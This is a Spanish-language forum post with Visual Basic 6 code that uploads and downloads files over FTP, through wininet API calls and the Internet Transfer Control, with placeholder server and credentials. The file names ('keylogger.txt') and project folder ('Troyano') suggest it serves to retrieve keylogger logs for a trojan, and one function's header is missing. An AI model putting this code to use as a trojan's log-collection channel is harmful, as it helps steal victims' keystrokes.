Mostrar Mensajes
si queres el de FTP:
Código:
'con API's
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" _
(ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, _
ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" _
(ByVal hInternetSession As Long, ByVal sServerName As String, _
ByVal nServerPort As Integer, ByVal sUsername As String, _
ByVal sPassword As String, ByVal lService As Long, _
ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function FtpGetFile Lib "wininet.dll" Alias "FtpGetFileA" _
(ByVal hFtpSession As Long, ByVal lpszRemoteFile As String, _
ByVal lpszNewFile As String, ByVal fFailIfExists As Boolean, _
ByVal dwFlagsAndAttributes As Long, ByVal dwFlags As Long, _
ByVal dwContext As Long) As Boolean
Private Sub Command1_Click()
lngINet = InternetOpen("MyFTP Control", 1, vbNullString, vbNullString, 0)
lngINetConn = InternetConnect(lngINet, "servidor", 0, _
"usuario", "contraseña", 1, 0, 0)
blnRC = FtpGetFile(lngINetConn, "www\hola.txt", "c:\prueba.txt", 0, 0, 1, 0) 'obtenemos el archivo que esta dentro de la carpeta www y lo metemos en C:\ con el nombre de PRUEBA.txt
End Sub [\code]
si tengo error corriganme. si no queres por medio de api podes usar el control INTERNET TRANSFER CONTROL:
'Chekea el estado del ITC (poner un INTERNET TRANSFER CONTROL EN EL FORMULARIO), si esta realizando una operacion no hacer nada hasta que termine
If itc.StillExecuting Then
ITCReady = False
If ShowMessage Then
MsgBox "Espere por favor, todavia trabajando", vbInformation + vbOKOnly, "Ocupado"
End If
Else
ITCReady = True
End If
End Function
Private Sub Command1_Click()
On Error Resume Next
'Colocar un label llamado LBLSTATUS
lblstatus = "Conectando"
Dim server As String
server = "servidor"
Dim username As String
username = "usuario"
Dim password As String
password = "contraseña"
'Establecemos el protocolo y el server y el usuario
itc.Protocol = icFTP
itc.URL = server
itc.username = username
itc.Cancel
'Establecemos el password y entramos
itc.password = password
itc.RequestTimeout = 40
itc.Execute , "DIR" 'hace dir
Do While itc.StillExecuting
DoEvents: DoEvents: DoEvents
Loop
Dim www As String
www = "www/" 'se maneja como el DOS (DIR, CD, CD.., etc..)
Dim archivo As String
archivo = "keylogger.txt" 'establecemos el archivo
itc.Execute , "CD " & Chr(34) & www & Chr(34) 'entramos a la carpeta WWW/ porque asi esta establecido en el string WWW mas arriba
'agregar un list llamado lstremotefile
lstremotefile.Clear
Do Until ITCReady(False)
DoEvents: DoEvents: DoEvents: DoEvents
Loop
itc.Execute , "DIR"
Do Until ITCReady(False)
DoEvents: DoEvents: DoEvents: DoEvents
Loop
Dim dir As String
dir = "D:\franco\Visual Basic\Troyano"
Kill dir & "/" & archivo
itc.Execute , "GET " & Chr(34) & archivo & Chr(34) & " " & Chr(34) & "D:\" & archivo & Chr(34) 'obtenemos archivo
End Sub
Private Sub Command2_Click()
Dim archivo As String
archivo = "prueba.txt"
Dim dir As String
dir = "D:\franco\Visual Basic\Troyano"
Dim reemplazar As String
reemplazar = "prueba.txt"
'si el ITC no se esta ejecutando enviamos el archivo
If ITCReady(True) = True Then
'Enviamos el archivo y refrescamos el LISTBOX
itc.Execute , "PUT " & Chr(34) & dir & "\" & archivo & Chr(34) & " " & Chr(34) & archivo & Chr(34)
Do Until ITCReady(False)
DoEvents: DoEvents: DoEvents: DoEvents
Loop
lstremotefile.Clear
itc.Execute , "DIR"
lblstatus = "Conectado"
End If
End Sub
Private Sub Form_Load()
'ahi que loggerase primero para que funcione pone el control INTERNET TRANSFER CONTROL en el formulario llamado ITC
RecievingSize = False
End Sub
Private Sub ITC_StateChanged(ByVal State As Integer)
'Chequea el estado del ITC y lo pone de acuerdo a lo que esta haciendo
Dim Data1, RemoteFiles
Dim RemoteFileName As String
Select Case State
Case icResolvingHost
'pone un label llamado LBLSTATUS
lblstatus = "Buscando direccion IP"
Case icHostResolved
lblstatus = "IP ENCONTRADA"
Case icConnecting
lblstatus = "Conectando"
Case icConnected
lblstatus = "Conectado"
Case icRequesting
lblstatus = "enviando pedido"
Case icRequestSent
lblstatus = "pedido enviado"
Case icReceivingResponse
lblstatus = "Reciviendo respuesta"
Case icResponseReceived
lblstatus = "Respuesta recivida"
Case icDisconnecting
lblstatus = "Desconectando"
Case icDisconnected
lblstatus = "No conectado"
Case icError
If itc.ResponseCode = 12030 Then
lblstatus = "No conectado"
itc.Cancel
End If
If itc.ResponseCode <> 87 Then
MsgBox itc.ResponseCode & " " & itc.ResponseInfo, vbOKOnly + vbCritical, "Error"
End If
Case icResponseCompleted
'loop hasta conseguir toda la info
Do While True
Data1 = itc.GetChunk(4096, icString)
If Len(Data1) = 0 Then Exit Do
DoEvents
RemoteFiles = RemoteFiles & Data1
Loop
Beep
'si esta reciviendo dice el tamaño y sale de la SUB
If RecievingSize Then
'pone un listbox llamado LSTREMOTEFILE
MsgBox "El tamaño del archivo es de: " & lstremotefile.Text & " es " & RemoteFiles & " bytes", vbInformation + vbOKOnly, "Size"
Exit Sub
End If
'Loop hasta conesguir los nombres de todos los archivos del LIST
For i = 1 To Len(RemoteFiles)
If Mid(RemoteFiles, i, 1) = Chr(13) Then
If Trim(RemoteFileName) <> "" Then
lstremotefile.AddItem RemoteFileName
RemoteFileName = ""
End If
Else
If Mid(RemoteFiles, i, 1) <> Chr(10) Then
RemoteFileName = RemoteFileName & Mid(RemoteFiles, i, 1)
End If
End If
Next i
End Select
End Sub
Código:
espero que les sirva de ayuda
chau
)